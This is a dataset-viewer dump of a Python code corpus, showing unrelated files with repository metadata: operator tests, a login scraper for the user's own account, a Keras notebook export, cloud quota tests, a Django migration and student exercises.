Reset23/the-stack-v2-python · Datasets at Hugging Face

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/python/paddle/fluid/tests/unittests/xpu/test_reduce_max_op_xpu.py

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# Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import unittest import numpy as np import sys sys.path.append("..") import paddle from op_test import OpTest from op_test_xpu import XPUOpTest from xpu.get_test_cover_info import create_test_class, get_xpu_op_support_types, XPUOpTestWrapper paddle.enable_static() class XPUTestReduceMaxOp(XPUOpTestWrapper): def __init__(self): self.op_name = 'reduce_max' class XPUTestReduceMaxBase(XPUOpTest): def setUp(self): self.place = paddle.XPUPlace(0) self.init_case() self.set_case() def set_case(self): self.op_type = 'reduce_max' self.attrs = { 'use_xpu': True, 'reduce_all': self.reduce_all, 'keep_dim': self.keep_dim } self.inputs = {'X': np.random.random(self.shape).astype("float32")} if self.attrs['reduce_all']: self.outputs = {'Out': self.inputs['X'].max()} else: self.outputs = { 'Out': self.inputs['X'].max(axis=self.axis, keepdims=self.attrs['keep_dim']) } def init_case(self): self.shape = (5, 6, 10) self.axis = (0, ) self.reduce_all = False self.keep_dim = False def test_check_output(self): self.check_output_with_place(self.place) def test_check_grad(self): self.check_grad_with_place(self.place, ['X'], 'Out') class XPUTestReduceMaxCase1(XPUTestReduceMaxBase): def init_case(self): self.shape = (5, 6, 10) self.axis = (0, ) self.reduce_all = False self.keep_dim = True support_types = get_xpu_op_support_types('reduce_max') for stype in support_types: create_test_class(globals(), XPUTestReduceMaxOp, stype) if __name__ == '__main__': unittest.main()

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/login/001-kgc/001-kgc.py

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#!/usr/bin/python3 import requests import hashlib from scrapy import Selector import http.cookiejar as cookielib # 构造 Request headers headers={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36'} session=requests.session() session.cookies = cookielib.LWPCookieJar(filename='cookies') try: session.cookies.load(ignore_discard=True) except: print("Cookie 未能加载") # 模拟登陆 def login(username,password): password=hashlib.md5(password.encode('utf-8')).hexdigest() kgc_url='http://www.kgc.cn/member/login?redirect_url=http%3A%2F%2Fwww.kgc.cn%2F' kgc_data={'UserLoginForm[redirect_url]': 'http://www.kgc.cn/', 'UserLoginForm[password]':password, 'UserLoginForm[username]':username} session.get(kgc_url) response=session.post(kgc_url,data=kgc_data,headers=headers) xp=Selector(text=response.text) username=xp.xpath('//span[@class="top-nick"]/text()').extract() try: username[0] print("欢迎%s登陆成功" % (username[0])) except: print("登陆失败") session.cookies.save() # 修改个人信息 def personal_set(): config_headers={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36'} config_url='http://www.kgc.cn/my/member/modifyProfile' realname=input('请输入您要修改的姓名:') sign=input('请输入您要设置的个性签名:') config_data={'sign': sign, 'realname':realname} r3=session.post(config_url,data=config_data,headers=config_headers) try: print(r3.json()) print("修改成功") except: print("未修改成功，请检查") #查询个人信息 def select(): config_headers={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36'} response=session.get('http://www.kgc.cn/my/member/profile.shtml#self-zl',headers=config_headers) hxs=Selector(text=response.text) old_realname=hxs.xpath('//div[@class="self-zl self-common hide"]/form/div[1]/input/@value').extract() old_sign=hxs.xpath('//div[@class="self-zl self-common hide"]/form/div[7]/input/@value').extract() print("现在的姓名为：%s,现在的个性签名为：%s" % (old_realname,old_sign)) if __name__=="__main__": while True: print('''=================请选择相应菜单进行操作================= 1) 进行登陆 2) 修改个人信息 3) 查询个人信息 4) 退出菜单''') choice=input("请选择你要进行的操作:") if choice == "1": username=input('请输入用户名:') password=input('请输入密码:') login(username,password) elif choice == "2": personal_set() elif choice == "3": select() elif choice == "4": print("谢谢使用!") break else: print("输入错误，请重试")

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/HackerEarth/basic_neaural_net_hackerearth_challenge.py

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# coding: utf-8 import os import cv2 import pickle import numpy as np import pandas as pd from tqdm import tqdm from keras.utils import to_categorical from keras.models import Sequential from keras.layers import Activation,Dropout,Flatten,Dense,Convolution2D,MaxPooling2D,ZeroPadding2D from keras.preprocessing.image import ImageDataGenerator from keras import optimizers from keras.callbacks import EarlyStopping base_dir = 'C:\\Users\\yashc\\Downloads\\hackerearth' train_file = 'C:\\Users\\yashc\\Downloads\\hackerearth\\meta-data\\train.csv' test_file = 'C:\\Users\\yashc\\Downloads\\hackerearth\\meta-data\\test.csv' train_data_dir = 'C:\\Users\\yashc\\Downloads\\hackerearth\\train' test_data_dir = 'C:\\Users\\yashc\\Downloads\\hackerearth\\test' img_width = 256 img_height = 256 train = pd.read_csv(train_file) test = pd.read_csv(test_file) train_data = [] test_data = [] train_labels = train['Animal'].values with open(base_dir + '\\' + 'train_data_pickleFile.pickle', 'rb') as handle: train_data = pickle.load(handle) with open(base_dir + '\\' + 'test_data_pickleFile.pickle', 'rb') as handle: test_data = pickle.load(handle) x_train = np.array(train_data,np.float32) / 255. x_test = np.array(test_data,np.float32) / 255. label_list = train['Animal'].tolist() Y_train = {k:v+1 for v,k in enumerate(set(label_list))} y_train = [Y_train[k] for k in label_list] y_train = to_categorical(y_train) model = Sequential() model.add(Convolution2D(32,(3,3),input_shape=(img_width,img_height,3))) model.add(Activation('relu')) model.add(MaxPooling2D(pool_size=(2,2))) model.add(Convolution2D(64,3,3,input_shape=(img_width,img_height,3))) model.add(Activation('relu')) model.add(MaxPooling2D(pool_size=(2,2))) model.add(Dropout(0.25)) model.add(Convolution2D(128,3,3,input_shape=(img_width,img_height,3))) model.add(Activation('relu')) model.add(MaxPooling2D(pool_size=(2,2))) model.add(Dropout(0.25)) model.add(Flatten()) model.add(Dense(128,activation='relu')) model.add(Dense(256,activation='relu')) model.add(Dropout(0.25)) model.add(Dense(y_train.shape[1],activation='softmax')) model.compile(loss='categorical_crossentropy',optimizer='adam',metrics=['accuracy']) print(model.summary()) early_stops = EarlyStopping(patience=3,monitor='val_acc') model.fit(x_train,y_train,batch_size=10,epochs=1,validation_split=0.3,callbacks=[early_stops]) model.fit(x_train,y_train,batch_size=50,epochs=15,validation_split=0.3,callbacks=[early_stops]) model.fit(x_train,y_train,batch_size=20,epochs=15,validation_split=0.3,callbacks=[early_stops]) model.fit(x_train,y_train,batch_size=25,epochs=15,validation_split=0.3) model.save_weights(base_dir + '\\' + 'epoch-15.h5') predictions = model.predict(x_test) predictions predictions2 = np.argmax(predictions,axis = 1) predictions2 y_maps = dict() y_maps = {v:k for k,v in Y_train.items()} pred_labels = [y_maps[k] for k in predictions] y_maps = dict() y_maps = {v:k for k,v in Y_train.items()} pred_labels = [y_maps[k] for k in predictions] y_maps pred_labels = [y_maps[k] for k in predictions] ymaps[1] y_maps[1] pred_labels = [] for k in predictions: pred_labels.append(y_maps[k]) for i in range(1,31): pred_labels.append(y_maps[i]) pred_labels pred_labels = [y_maps[k] for k in predictions2] for i in range(5): print('I see this product is {}'.format(pred_labels[i])) plt.imshow(read_image(TEST_PATH +'{}.png'.format(test.image_id[i]))) plt.show() import matplotlib.pyplot as plt for i in range(5): print('I see this product is {}'.format(pred_labels[i])) predictions predictions[1] predictions[2] predictionsxx = predictions np.round(predictions,5) np.round(predictions,4) np.set_printoptions(supress = True) np.set_printoptions(suppress = True) predictions answer = {} answer['image_id'] = test.image_id get_ipython().run_line_magic('save', 'basic_neaural_net_hackerearth_challenge.py') get_ipython().run_line_magic('save', 'basic_neaural_net_hackerearth_challenge') get_ipython().run_line_magic('save', '-f basic_neaural_net_hackerearth_challenge.py') import readline get_ipython().run_line_magic('save', 'basic_neaural_net_hackerearth_challenge.py') get_ipython().run_line_magic('save', 'basic_neaural_net_hackerearth_challenge.py 1-50')

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#!/root/NetBeansProjects/fedora/python/flask-webservices-labs/flask-spyne-fc20-labs/examples-fc20-labs/.venv/bin/python # -*- coding: utf-8 -*- import re import sys from pyramid.scripts.pserve import main if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0]) sys.exit(main())

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/cloudroast/networking/networks/api/security_groups/test_security_groups_quotas.py

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""" Copyright 2015 Rackspace Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ from cafe.drivers.unittest.decorators import tags from cloudcafe.networking.networks.extensions.security_groups_api.constants \ import SecurityGroupsErrorTypes, SecurityGroupsResponseCodes from cloudroast.networking.networks.fixtures \ import NetworkingSecurityGroupsFixture class SecurityGroupsQuotasTest(NetworkingSecurityGroupsFixture): @classmethod def setUpClass(cls): """Setting up test data""" super(SecurityGroupsQuotasTest, cls).setUpClass() # Setting up cls.expected_secgroup = cls.get_expected_secgroup_data() cls.expected_secgroup.name = 'test_secgroup_quotas' def tearDown(self): self.secGroupCleanUp() super(SecurityGroupsQuotasTest, self).tearDown() @tags('quotas') def test_rules_per_group(self): """ @summary: Testing security rules quota per group """ secgroup = self.create_test_secgroup(self.expected_secgroup) expected_secrule = self.get_expected_secrule_data() expected_secrule.security_group_id = secgroup.id rules_per_group = self.sec.config.max_rules_per_secgroup self.create_n_security_rules_per_group(expected_secrule, rules_per_group) msg = ('Successfully created the expected security rules per group ' 'allowed by the quota of {0}').format(rules_per_group) self.fixture_log.debug(msg) # Checking the quota is enforced request_kwargs = dict( security_group_id=expected_secrule.security_group_id, raise_exception=False) resp = self.sec.behaviors.create_security_group_rule(**request_kwargs) neg_msg = ('(negative) Creating a security rule over the group quota' ' of {0}').format(rules_per_group) self.assertNegativeResponse( resp=resp, status_code=SecurityGroupsResponseCodes.CONFLICT, msg=neg_msg, delete_list=self.delete_secgroups, error_type=SecurityGroupsErrorTypes.OVER_QUOTA) @tags('quotas') def test_groups_per_tenant(self): """ @summary: Testing security groups quota per tenant """ groups_per_tenant = self.sec.config.max_secgroups_per_tenant self.create_n_security_groups(self.expected_secgroup, groups_per_tenant) # Checking the quota is enforced request_kwargs = dict( name=self.expected_secgroup.name, description=self.expected_secgroup.description, raise_exception=False) resp = self.sec.behaviors.create_security_group(**request_kwargs) neg_msg = ('(negative) Creating a security group over the tenant quota' ' of {0}').format(groups_per_tenant) status_code = SecurityGroupsResponseCodes.CONFLICT error_type = SecurityGroupsErrorTypes.OVER_QUOTA self.assertNegativeResponse( resp=resp, status_code=status_code, msg=neg_msg, delete_list=self.delete_secgroups, error_type=error_type) @tags('quotas') def test_rules_per_tenant(self): """ @summary: Testing security rules quota per tenant """ expected_secrule = self.get_expected_secrule_data() groups_per_tenant = self.sec.config.max_secgroups_per_tenant rules_per_tenant = self.sec.config.max_rules_per_tenant rules_per_group = rules_per_tenant / groups_per_tenant secgroups = self.create_n_security_groups_w_n_rules( self.expected_secgroup, expected_secrule, groups_per_tenant, rules_per_group) msg = ('Successfully created the expected security rules per tenant ' 'allowed by the quota of {0}').format(rules_per_tenant) self.fixture_log.debug(msg) # Checking the quota is enforced request_kwargs = dict( security_group_id=secgroups[0].id, raise_exception=False) resp = self.sec.behaviors.create_security_group_rule(**request_kwargs) neg_msg = ('(negative) Creating a security rule over the tenant quota' ' of {0}').format(rules_per_tenant) self.assertNegativeResponse( resp=resp, status_code=SecurityGroupsResponseCodes.CONFLICT, msg=neg_msg, delete_list=self.delete_secgroups, error_type=SecurityGroupsErrorTypes.OVER_QUOTA) def create_n_security_groups_w_n_rules(self, expected_secgroup, expected_secrule, groups_num, rules_num): """ @summary: Creating n security groups with n rules """ secgroups = self.create_n_security_groups(expected_secgroup, groups_num) for group in secgroups: expected_secrule.security_group_id = group.id self.create_n_security_rules_per_group(expected_secrule, rules_num) return secgroups def create_n_security_groups(self, expected_secgroup, num): """ @summary: Creating n security groups """ secgroups = [] for x in range(num): log_msg = 'Creating security group {0}'.format(x + 1) self.fixture_log.debug(log_msg) name = 'security_test_group_n_{0}'.format(x + 1) expected_secgroup.name = name secgroup = self.create_test_secgroup(expected_secgroup) secgroups.append(secgroup) msg = 'Successfully created {0} security groups'.format(num) self.fixture_log.debug(msg) return secgroups def create_n_security_rules_per_group(self, expected_secrule, num): """ @summary: Creating n security rules within a security group and verifying they are created successfully """ request_kwargs = dict( security_group_id=expected_secrule.security_group_id, raise_exception=False) for x in range(num): log_msg = 'Creating rule {0}'.format(x + 1) self.fixture_log.debug(log_msg) resp = self.sec.behaviors.create_security_group_rule( **request_kwargs) # Fail the test if any failure is found self.assertFalse(resp.failures) secrule = resp.response.entity # Check the Security Group Rule response self.assertSecurityGroupRuleResponse(expected_secrule, secrule) msg = ('Successfully created {0} security rules at security group ' '{1}').format(num, expected_secrule.security_group_id) self.fixture_log.debug(msg)

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# coding: utf-8 # Melhor Ataque # Felipe Marinho (C) | 116110223 | <felipe.marinho@ccc.ufcg.edu.br> times = int(raw_input()) lista_times = [] lista_gols = [] total_gols = 0 maior = -1 for i in range(times) : time = raw_input() lista_times.append(time) gols = int(raw_input()) lista_gols.append(gols) total_gols += gols if lista_gols[i] > maior : maior = gols print """Time(s) com melhor ataque (%i gol(s)):""" % maior for i in range(times) : if lista_gols[i] == maior : print lista_times[i] print "" print "Média de gols marcados: %.1f" % (total_gols/float(times))

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import binascii; hInnerscript = open("innerscript.py",'r'); data = hInnerscript.read(); base64=binascii.b2a_base64(data.encode('ascii')); base64=base64.decode('ascii'); base64=base64.replace("\n",""); base64=base64.replace("\r",""); module = open("17778.in.hsl",'r'); moduledata = module.read(); moduledata.encode('ascii'); moduledata=moduledata.replace("%INNERSCRIPT%",str(base64)) fullscript=moduledata; outFile = open("17778.hsl",'w'); outFile.write(fullscript); outFile.close() module = open("17779.in.hsl",'r'); moduledata = module.read(); moduledata.encode('ascii'); moduledata=moduledata.replace("%INNERSCRIPT%",str(base64)) fullscript=moduledata; outFile = open("17779.hsl",'w'); outFile.write(fullscript); outFile.close() module = open("17780.in.hsl",'r'); moduledata = module.read(); moduledata.encode('ascii'); moduledata=moduledata.replace("%INNERSCRIPT%",str(base64)) fullscript=moduledata; outFile = open("17780.hsl",'w'); outFile.write(fullscript); outFile.close()

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# Flows definition package from .flow_funcs import * from .flow_state import *

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#-*- coding:utf-8 -*- import os,sys def to_mlf(xi): dx={ b"0":"零", b"1":"一", b"2":"二", b"3":"三", b"4":"四", b"5":"五", b"6":"六", b"7":"七", b"8":"八", b"9":"九" } d=[] eng=[] tx=[",",".","!","(",")","，","。","！",'；','、','：','？','“','”']; for x in xi: u=x.encode("utf-8") if u in tx: continue; if len(u)==1: if u in dx: u=dx[u] d.append(u.upper()) else: eng.append(str(u, encoding='utf-8')) #print(u) #print(str(u, encoding='utf-8')) #eng.append(str(u, encoding='utf-8')) else: if len(eng)>0: d.append("".join(eng).upper()) eng=[] d.append(str(u, encoding='utf-8')) if len(eng)>0: d.append("".join(eng).upper()) return d def fn_to_lab(s): x=s.split() for i in x: d=to_mlf(i.strip()) if len(d)>0: print("\n".join(d)) print('.') fn=sys.argv[1] print('#!MLF!#') for l in open(fn): l=l.strip() x=l.split() k=x[0].strip() v=" ".join(x[1:]) t=".".join(k) print('"*No%s.lab" ' % t) fn_to_lab(v)

[ "zhangchunqing@youxuepai.com" ]

zhangchunqing@youxuepai.com

6d89e6abceea5512cfe77fb05c1b73cc7bba2fb5

fb3f592360a422a7d5de23552daef8ae84274c4c

/setup.py

097d58d9d4838e49a168d61839c81bc98804ca80

[ "Apache-2.0" ]

permissive

HUMANAMUH/task-executor-py

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04bb2852b8068e5b26f1df967684e2eab207a9e9

refs/heads/master

2021-01-12T18:25:15.894394

2017-06-27T02:55:42

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from distutils.core import setup setup( name="humanamuh-task-executor", version="0.10", packages = ["task"], py_modules="task", author = "Earthson Lu", author_email = "Earthson.Lu@gmail.com", description = "task-executor for task-manager", license = "Apache License 2.0", url = "https://github.com/HUMANAMUH/task-executor-py/tree/master/taskexecutor", install_requires=[ "aiohttp >=1.0.5", "pyyaml" ] )

[ "Earthson.Lu@gmail.com" ]

Earthson.Lu@gmail.com

ccfd104c316ff6d373be371b1562c7625f50c37c

41f09c4f9990f8d2ce57aef92be1580f8a541656

/show_lbiflist.py

69778715a9ac37d8e3b06516f36e4ea83cfb6002

[]

no_license

jebpublic/pybvccmds

d3111efe6f449c3565d3d7f1c358bdd36bc1a01a

997eead4faebf3705a83ce63b82d853730b23fbf

refs/heads/master

2016-09-05T18:56:52.509806

2015-02-25T17:41:47

31,315,416

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#!/usr/bin/python import sys import json import pybvc from pybvc.netconfdev.vrouter.vrouter5600 import VRouter5600 from pybvc.common.status import STATUS from pybvc.controller.controller import Controller from pybvc.common.utils import load_dict_from_file if __name__ == "__main__": f = "cfg.yml" d = {} if(load_dict_from_file(f, d) == False): print("Config file '%s' read error: " % f) exit() try: ctrlIpAddr = d['ctrlIpAddr'] ctrlPortNum = d['ctrlPortNum'] ctrlUname = d['ctrlUname'] ctrlPswd = d['ctrlPswd'] nodeName = d['nodeName'] nodeIpAddr = d['nodeIpAddr'] nodePortNum = d['nodePortNum'] nodeUname = d['nodeUname'] nodePswd = d['nodePswd'] except: print ("Failed to get Controller device attributes") exit(0) ctrl = Controller(ctrlIpAddr, ctrlPortNum, ctrlUname, ctrlPswd) vrouter = VRouter5600(ctrl, nodeName, nodeIpAddr, nodePortNum, nodeUname, nodePswd) print ("<<< 'Controller': %s, '%s': %s" % (ctrlIpAddr, nodeName, nodeIpAddr)) result = vrouter.get_loopback_interfaces_list() status = result[0] if(status.eq(STATUS.OK) == True): print "Loopback interfaces:" dpIfList = result[1] print json.dumps(dpIfList, indent=4) else: print ("\n") print ("!!!Failed, reason: %s" % status.brief().lower()) print ("%s" % status.detail()) sys.exit(0)

[ "jeb@elbrys.com" ]

jeb@elbrys.com

2ee4f46a9c859debc928757ef69372dd72d0487c

0cb413889b5aa3889a6c36fe8601c2c16477a1c6

/Class/elements/__init__.py

b57d9828f3cf83caffc43260040b9ae7e6735f98

[]

no_license

pierrickdelrieu/RunAndGun

bd77c30d0bf3a9f6ec2b1666e47f62c873521b9f

7017103bab1c63f895c46fc29098f6c218933849

refs/heads/master

2022-12-29T20:11:17.325163

2020-10-21T07:13:56

246,426,390

1

0

null

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false

96

py

from .caisse import Caisse from .sol import Sol from .terre import Terre from .vide import Vide

[ "romain.ordi@gmail.com" ]

romain.ordi@gmail.com

0d68ac6e207b37d788e51c89ec289b18727b302d

c22c83592571b64c3da4a3f3c4d1bbaaee50a318

/encryption.py

ea49016c24dde788787f3a42249522bd0f17076a

[]

no_license

tt-n-walters/thebridge-week1

eaef2887122dd4f778ab94ab3c819f1e63a1985f

8598125af12b21794e93f09407984009c36aaf25

refs/heads/master

2023-06-16T14:31:45.955254

2021-07-09T12:14:40

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false

180

py

import hashlib password = "password1" encoded_password = password.encode() encrypted = hashlib.sha256(encoded_password).hexdigest() # https://resources.nicowalters.repl.co/hash

[ "nico.walters@techtalents.es" ]

nico.walters@techtalents.es

8c9bfaad4987ae8169db8f362734d87365391cd9

df96ada5da88e4da63b2d8a2e7f45d1df7e04000

/sp_api/api/notifications/models/destination_resource.py

11faa729929f8dfa6c28c92cf68a3d8a833acfc5

[ "MIT" ]

permissive

lionsdigitalsolutions/python-amazon-sp-api

d8d2330e770d2c88fa37eb8f7eca32ed51b096c4

7374523ebc65e2e01e37d03fc4009a44fabf2c3b

refs/heads/master

2023-03-01T13:12:57.839135

2021-02-02T16:49:23

334,256,038

0

MIT

2021-02-02T16:49:24

2021-01-29T20:29:42

null

UTF-8

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false

4,082

py

# coding: utf-8 """ Selling Partner API for Notifications The Selling Partner API for Notifications lets you subscribe to notifications that are relevant to a selling partner's business. Using this API you can create a destination to receive notifications, subscribe to notifications, delete notification subscriptions, and more. # noqa: E501 OpenAPI spec version: v1 Generated by: https://github.com/swagger-api/swagger-codegen.git """ import pprint import re # noqa: F401 import six class DestinationResource(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. """ """ Attributes: swagger_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ swagger_types = { 'sqs': 'SqsResource', 'event_bridge': 'EventBridgeResource' } attribute_map = { 'sqs': 'sqs', 'event_bridge': 'eventBridge' } def __init__(self, sqs=None, event_bridge=None): # noqa: E501 """DestinationResource - a model defined in Swagger""" # noqa: E501 self._sqs = None self._event_bridge = None self.discriminator = None if sqs is not None: self.sqs = sqs if event_bridge is not None: self.event_bridge = event_bridge @property def sqs(self): """Gets the sqs of this DestinationResource. # noqa: E501 :return: The sqs of this DestinationResource. # noqa: E501 :rtype: SqsResource """ return self._sqs @sqs.setter def sqs(self, sqs): """Sets the sqs of this DestinationResource. :param sqs: The sqs of this DestinationResource. # noqa: E501 :type: SqsResource """ self._sqs = sqs @property def event_bridge(self): """Gets the event_bridge of this DestinationResource. # noqa: E501 :return: The event_bridge of this DestinationResource. # noqa: E501 :rtype: EventBridgeResource """ return self._event_bridge @event_bridge.setter def event_bridge(self, event_bridge): """Sets the event_bridge of this DestinationResource. :param event_bridge: The event_bridge of this DestinationResource. # noqa: E501 :type: EventBridgeResource """ self._event_bridge = event_bridge def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value if issubclass(DestinationResource, dict): for key, value in self.items(): result[key] = value return result def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, DestinationResource): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """Returns true if both objects are not equal""" return not self == other

[ "info@meine-buybox.de" ]

info@meine-buybox.de

6bdee705a979426573bc0d836de6cc21f8c69502

a14dd601cde67f67d0ba38dfd1362f7c0109cef1

/graphs/past/perfect-friends.py

84d3237c7bc95823da7474a6ccbd297330ad8192

[]

no_license

Meaha7/dsa

d5ea1615f05dae32671af1f1c112f0c759056473

fa80219ff8a6f4429fcf104310f4169d007af712

refs/heads/main

2023-09-03T18:52:41.950294

2021-11-05T09:14:42

null

0

null

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py

from collections import defaultdict from graphs.util import build def dfs(graph, src, vis): vis.add(src) count = 1 for nbr in graph[src]: if nbr not in vis: count += dfs(graph, nbr, vis) return count def main(edges): graph, vis = build(edges), set() csl = [] for src in graph.keys(): if src not in vis: csl.append(dfs(graph, src, vis)) return sum([csl[i] * sum(csl[i + 1:]) for i in range(len(csl))]) for edges in [ [(0, 1), (2, 3), (4, 5), (5, 6), (4, 6)] ]: print(main(edges))

[ "nikhilgoyal104ah4@gmail.com" ]

nikhilgoyal104ah4@gmail.com

cc0dc75ea718364f53131f6b626ef7e2304320de

2b05f2e5d40bd45b6db07ffd87eea55d14088499

/experiments/reset-jobs.py

bcb44cafa670da9fc96dfab63ce4eff67ee30a8a

[]

no_license

cobeylab/pneumo-resistance

87d10ef1dc3215fa8558b4c831fa6ce03b60a7e4

aaff3a0ab1df6baffbd66e38eac7ef72c9367229

refs/heads/master

2021-01-19T20:03:41.762719

2017-06-06T02:40:36

88,480,925

1

0

null

UTF-8

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false

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py

#!/usr/bin/env python import os import sys import sqlite3 def main(): os.chdir(os.path.dirname(__file__)) print('This script will remove any output files for jobs marked "running", "canceled",\nor "failed" and set their state to "waiting".') print('Make sure no jobs or workers are running!\nAre you sure you want to continue deleting files and resetting jobs?') answer = raw_input('type yes or no: ') if answer != 'yes': print('Wait until nothing is happening before running this script.\n') sys.exit(1) if not os.path.exists('runr_db.sqlite'): print('Error: runr_db.sqlite could not be found. This script assumes runr_db.sqlite is in the same directory as this script.') sys.exit(1) count = 0 with open('reset-jobs.log', 'a') as logfile: with sqlite3.connect('runr_db.sqlite') as db: for working_dir, status in db.execute( 'SELECT working_dir, status FROM jobs WHERE status = "running" OR status = "failed" or status = "canceled"' ): log(logfile, '{}\t{}'.format(status, working_dir)) remove_file(working_dir, 'stdout.txt') remove_file(working_dir, 'output_db.sqlite') db.execute( 'UPDATE jobs SET status = "waiting", worker_id = NULL WHERE working_dir = ?', [working_dir] ) count += 1 print('{} files reset.'.format(count)) def log(logfile, line): sys.stdout.write('{}\n'.format(line)) logfile.write('{}\n'.format(line)) def remove_file(working_dir, filename): path = os.path.join(working_dir, filename) if os.path.exists(path): os.remove(path) if __name__ == '__main__': main()

[ "ed@edbaskerville.com" ]

ed@edbaskerville.com

501d66055d8f509333e122e8e779ff86394740dc

7fcb9a135db358f105f211be87e4842221747180

/core/migrations/0001_initial.py

01bdb64a8be01c3a0f0a4a5925ac4047f79a10ae

[]

no_license

MaksTresh/tinder

5abc5d4ecbf718cf40cddb07008e6361eab84e67

89fb71275fce6f8a8cfda80ee0f482d6c869fcce

refs/heads/main

2023-03-29T21:14:28.748453

2021-04-05T22:49:55

354,192,844

0

null

UTF-8

Python

false

3,927

py

# Generated by Django 3.1.7 on 2021-03-26 18:34 from django.conf import settings import django.contrib.auth.validators from django.db import migrations, models import django.db.models.deletion import django.utils.timezone import django_countries.fields class Migration(migrations.Migration): initial = True dependencies = [ ('auth', '0012_alter_user_first_name_max_length'), ] operations = [ migrations.CreateModel( name='User', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('password', models.CharField(max_length=128, verbose_name='password')), ('last_login', models.DateTimeField(blank=True, null=True, verbose_name='last login')), ('is_superuser', models.BooleanField(default=False, help_text='Designates that this user has all permissions without explicitly assigning them.', verbose_name='superuser status')), ('username', models.CharField(error_messages={'unique': 'A user with that username already exists.'}, help_text='Required. 150 characters or fewer. Letters, digits and @/./+/-/_ only.', max_length=150, unique=True, validators=[django.contrib.auth.validators.UnicodeUsernameValidator()], verbose_name='username')), ('first_name', models.CharField(blank=True, max_length=150, verbose_name='first name')), ('last_name', models.CharField(blank=True, max_length=150, verbose_name='last name')), ('email', models.EmailField(blank=True, max_length=254, verbose_name='email address')), ('is_staff', models.BooleanField(default=False, help_text='Designates whether the user can log into this admin site.', verbose_name='staff status')), ('is_active', models.BooleanField(default=True, help_text='Designates whether this user should be treated as active. Unselect this instead of deleting accounts.', verbose_name='active')), ('date_joined', models.DateTimeField(default=django.utils.timezone.now, verbose_name='date joined')), ('gender', models.CharField(choices=[('M', 'Male'), ('F', 'Female')], max_length=1)), ('country', django_countries.fields.CountryField(max_length=2)), ('personal_information', models.CharField(max_length=1000)), ('birthday', models.DateField()), ('social_network_page', models.URLField(blank=True, max_length=100, null=True)), ('groups', models.ManyToManyField(blank=True, help_text='The groups this user belongs to. A user will get all permissions granted to each of their groups.', related_name='user_set', related_query_name='user', to='auth.Group', verbose_name='groups')), ('user_permissions', models.ManyToManyField(blank=True, help_text='Specific permissions for this user.', related_name='user_set', related_query_name='user', to='auth.Permission', verbose_name='user permissions')), ], options={ 'verbose_name': 'user', 'verbose_name_plural': 'users', 'abstract': False, }, ), migrations.CreateModel( name='Match', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('acquaintance_state', models.CharField(choices=[('0', 'Not answered'), ('1', 'Not liked'), ('2', 'Both liked')], max_length=1)), ('recipient_user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='received_math_requests', to=settings.AUTH_USER_MODEL)), ('sender_user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='sent_match_requests', to=settings.AUTH_USER_MODEL)), ], ), ]

[ "mmakstresh@gmail.com" ]

mmakstresh@gmail.com

95f07028ed1317b33c687e3f152ed408d54accea

0d2f636592dc12458254d793f342857298c26f12

/11-2(tag).py

1baa801108cd7920160b82b12b955e92548f7030

[]

no_license

chenpc1214/test

c6b545dbe13e672f11c58464405e024394fc755b

8610320686c499be2f5fa36ba9f11935aa6d657b

refs/heads/master

2022-12-13T22:44:41.256315

2020-09-08T16:25:49

255,796,035

0

null

UTF-8

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false

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py

def mymax(n1,n2): if n1 > n2: print("較大值是 : ", n1) else: print("較大值是 : ", n2) x1,x2 = eval(input("請輸入2個數值:")) mymax(x1,x2) """自己做的 def mymax(n1,n2): print("最大值為:",max(n1,n2)) a = input("請輸入2個數值:") mymax(a,b)"""

[ "kkbuger1523@gmail.com" ]

kkbuger1523@gmail.com

20b4d77c2d1321b4c041e3d56dfbbf3c7c3c57ec

7037d86874af5cc30a6d04cbc330ecc1df9f09ff

/Stevens Pass Weather.py

efe35d65e305f363fcb745ea82da3382b11b7c42

[]

no_license

hwalters361/Stevens_Pass_Weather_Infographic

921c9ee9ff6db88d501d99cf7566c25623deb41b

aa5f07b730f5adf3c797c1ed62c86c2fb43c9868

refs/heads/master

2020-11-30T06:51:56.003861

2020-01-06T04:17:19

230,338,195

0

null

UTF-8

